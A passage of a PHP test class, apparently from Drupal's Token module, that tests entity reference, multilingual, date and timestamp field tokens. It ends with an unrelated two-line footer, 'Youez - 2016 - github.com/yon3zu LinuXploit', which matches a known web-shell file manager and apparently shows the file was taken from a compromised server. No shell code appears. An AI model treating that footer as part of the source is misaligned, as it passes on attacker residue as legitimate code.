    $this->assertEquals('Content', $token_info['name']);
    $this->assertEquals('The referenced entity', $token_info['description']);
    $this->assertEquals('token', $token_info['module']);
    $this->assertEquals('node', $token_info['type']);

    // Test entity field property token info of the term reference.
    $token_info = $token_service->getTokenInfo('node-test_term_reference', 'entity');
    $this->assertEquals('Taxonomy term', $token_info['name']);
    $this->assertEquals('The referenced entity', $token_info['description']);
    $this->assertEquals('token', $token_info['module']);
    $this->assertEquals('term', $token_info['type']);

  }

  /**
   * Tests support for cardinality > 1 for entity reference tokens.
   */
  public function testEntityReferenceTokensCardinality() {
    /** @var \Drupal\field\FieldStorageConfigInterface $storage */
    $storage = FieldStorageConfig::load('node.test_term_reference');
    $storage->setCardinality(FieldStorageDefinitionInterface::CARDINALITY_UNLIMITED);
    $storage->save();

    // Add a few terms.
    $terms = [];
    $terms_value = [];
    foreach (range(1, 3) as $i) {
      $terms_value[$i] = $this->randomString();
      $terms[$i] = $this->createTerm($this->vocabulary, [
        'name' => $this->randomString(),
        'term_field' => [
          'value' => $terms_value[$i],
          'format' => $this->testFormat->id(),
        ],
      ]);
    }

    $entity = Node::create([
      'title' => 'Test multivalue chained tokens',
      'type' => 'article',
      'test_term_reference' => [
        ['target_id' => $terms[1]->id()],
        ['target_id' => $terms[2]->id()],
        ['target_id' => $terms[3]->id()],
      ],
    ]);
    $entity->save();

    $this->assertTokens('node', ['node' => $entity], [
      'test_term_reference:0:entity:term_field' => Html::escape($terms[1]->term_field->value),
      'test_term_reference:1:entity:term_field' => Html::escape($terms[2]->term_field->value),
      'test_term_reference:2:entity:term_field' => Html::escape($terms[3]->term_field->value),
      'test_term_reference:0:target_id' => $terms[1]->id(),
      'test_term_reference:1:target_id' => $terms[2]->id(),
      'test_term_reference:2:target_id' => $terms[3]->id(),
      // Expects the entity's label to be returned for :entity tokens.
      'test_term_reference:0:entity' => $terms[1]->label(),
      'test_term_reference:1:entity' => $terms[2]->label(),
      'test_term_reference:2:entity' => $terms[3]->label(),
      // To make sure tokens without an explicit delta can also be replaced in
      // the same token replacement call.
      'test_term_reference:entity:term_field' => Html::escape($terms[1]->term_field->value),
      'test_term_reference:target_id' => $terms[1]->id(),
    ]);

    // Test some non existent tokens.
    $this->assertNoTokens('node', ['node' => $entity], [
      'test_term_reference:3:term_field',
      'test_term_reference:0:does_not_exist',
      'test_term_reference:1:does:not:exist',
      'test_term_reference:1:2:does_not_exist',
    ]);
  }

  /**
   * Test tokens for multilingual fields and entities.
   */
  public function testMultilingualFields() {
    // Create an english term and add a german translation for it.
    $term = $this->createTerm($this->vocabulary, [
      'name' => 'english-test-term',
      'langcode' => 'en',
      'term_field' => [
        'value' => 'english-term-field-value',
        'format' => $this->testFormat->id(),
      ],
    ]);
    $term->addTranslation('de', [
      'name' => 'german-test-term',
      'term_field' => [
        'value' => 'german-term-field-value',
        'format' => $this->testFormat->id(),
      ],
    ])->save();
    $german_term = $term->getTranslation('de');

    // Create an english node, add a german translation for it and add the
    // english term to the english node's entity reference field and the
    // german term to the german's entity reference field.
    $node = Node::create([
      'title' => 'english-node-title',
      'type' => 'article',
      'test_term_reference' => [
        'target_id' => $term->id(),
      ],
      'test_field' => [
        'value' => 'test-english-field',
        'format' => $this->testFormat->id(),
      ],
    ]);
    $node->addTranslation('de', [
      'title' => 'german-node-title',
      'test_term_reference' => [
        'target_id' => $german_term->id(),
      ],
      'test_field' => [
        'value' => 'test-german-field',
        'format' => $this->testFormat->id(),
      ],
    ])->save();

    // Verify the :title token of the english node and the :name token of the
    // english term it refers to. Also verify the value of the term's field.
    $this->assertTokens('node', ['node' => $node], [
      'title' => 'english-node-title',
      'test_term_reference:entity:name' => 'english-test-term',
      'test_term_reference:entity:term_field:value' => 'english-term-field-value',
      'test_term_reference:entity:term_field' => 'english-term-field-value',
      'test_field' => 'test-english-field',
      'test_field:value' => 'test-english-field',
    ]);

    // Same test for the german node and its german term.
    $german_node = $node->getTranslation('de');
    $this->assertTokens('node', ['node' => $german_node], [
      'title' => 'german-node-title',
      'test_term_reference:entity:name' => 'german-test-term',
      'test_term_reference:entity:term_field:value' => 'german-term-field-value',
      'test_term_reference:entity:term_field' => 'german-term-field-value',
      'test_field' => 'test-german-field',
      'test_field:value' => 'test-german-field',
    ]);

    // If the langcode is specified, it should have priority over the node's
    // active language.
    $tokens = [
      'test_field' => 'test-german-field',
      'test_field:value' => 'test-german-field',
      'test_term_reference:entity:term_field' => 'german-term-field-value',
      'test_term_reference:entity:term_field:value' => 'german-term-field-value',
    ];
    $this->assertTokens('node', ['node' => $node], $tokens, ['langcode' => 'de']);
  }

  /**
   * Tests support for a datetime fields.
   */
  public function testDatetimeFieldTokens() {

    $node = Node::create([
      'title' => 'Node for datetime field',
      'type' => 'article',
    ]);

    $node->set('field_datetime', ['1925-09-28T00:00:00', '1930-10-28T00:00:00'])->save();
    $this->assertTokens('node', ['node' => $node], [
      'field_datetime:date:custom:Y' => '1925',
      'field_datetime:date:html_month' => '1925-09',
      'field_datetime:date' => $node->get('field_datetime')->date->getTimestamp(),
      'field_datetime:0:date:custom:Y' => '1925',
      'field_datetime:0:date:html_month' => '1925-09',
      'field_datetime:0:date' => $node->get('field_datetime')->date->getTimestamp(),
      'field_datetime:1:date:custom:Y' => '1930',
      'field_datetime:1:date:html_month' => '1930-10',
      'field_datetime:1:date' => $node->get('field_datetime')->get(1)->date->getTimestamp(),
    ]);
  }

  /**
   * Tests support for a daterange fields.
   */
  public function testDatetimeRangeFieldTokens() {

    /** @var \Drupal\node\NodeInterface $node */
    $node = Node::create([
        'title' => 'Node for daterange field',
        'type' => 'article',
    ]);

    $node->get('field_daterange')->value = '2013-12-22T00:00:00';
    $node->get('field_daterange')->end_value = '2016-08-26T00:00:00';
    $node->get('field_daterange')->appendItem([
      'value' => '2014-08-22T00:00:00',
      'end_value' => '2017-12-20T00:00:00',
    ]);
    $node->get('field_daterange')->value = '2013-12-22T00:00:00';
    $node->get('field_daterange')->end_value = '2016-08-26T00:00:00';
    $node->save();
    $this->assertTokens('node', ['node' => $node], [
      'field_daterange:start_date:html_month' => '2013-12',
      'field_daterange:start_date:custom:Y' => '2013',
      'field_daterange:end_date:custom:Y' => '2016',
      'field_daterange:start_date' => $node->get('field_daterange')->start_date->getTimestamp(),
      'field_daterange:0:start_date:html_month' => '2013-12',
      'field_daterange:0:start_date:custom:Y' => '2013',
      'field_daterange:0:end_date:custom:Y' => '2016',
      'field_daterange:0:start_date' => $node->get('field_daterange')->start_date->getTimestamp(),
      'field_daterange:1:start_date:html_month' => '2014-08',
      'field_daterange:1:start_date:custom:Y' => '2014',
      'field_daterange:1:end_date:custom:Y' => '2017',
      'field_daterange:1:end_date' => $node->get('field_daterange')->get(1)->end_date->getTimestamp(),
    ]);
  }

  /**
   * Tests support for a timestamp fields.
   */
  public function testTimestampFieldTokens() {

    $node = Node::create([
      'title' => 'Node for timestamp field',
      'type' => 'article',
    ]);

    $node->set('field_timestamp', ['1277540209', '1532593009'])->save();
    $this->assertTokens('node', ['node' => $node], [
      'field_timestamp:date:custom:Y' => '2010',
      'field_timestamp:date:html_month' => '2010-06',
      'field_timestamp:date' => $node->get('field_timestamp')->value,
      'field_timestamp:0:date:custom:Y' => '2010',
      'field_timestamp:0:date:html_month' => '2010-06',
      'field_timestamp:0:date' => $node->get('field_timestamp')->value,
      'field_timestamp:1:date:custom:Y' => '2018',
      'field_timestamp:1:date:html_month' => '2018-07',
      'field_timestamp:1:date' => $node->get('field_timestamp')->get(1)->value,
    ]);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit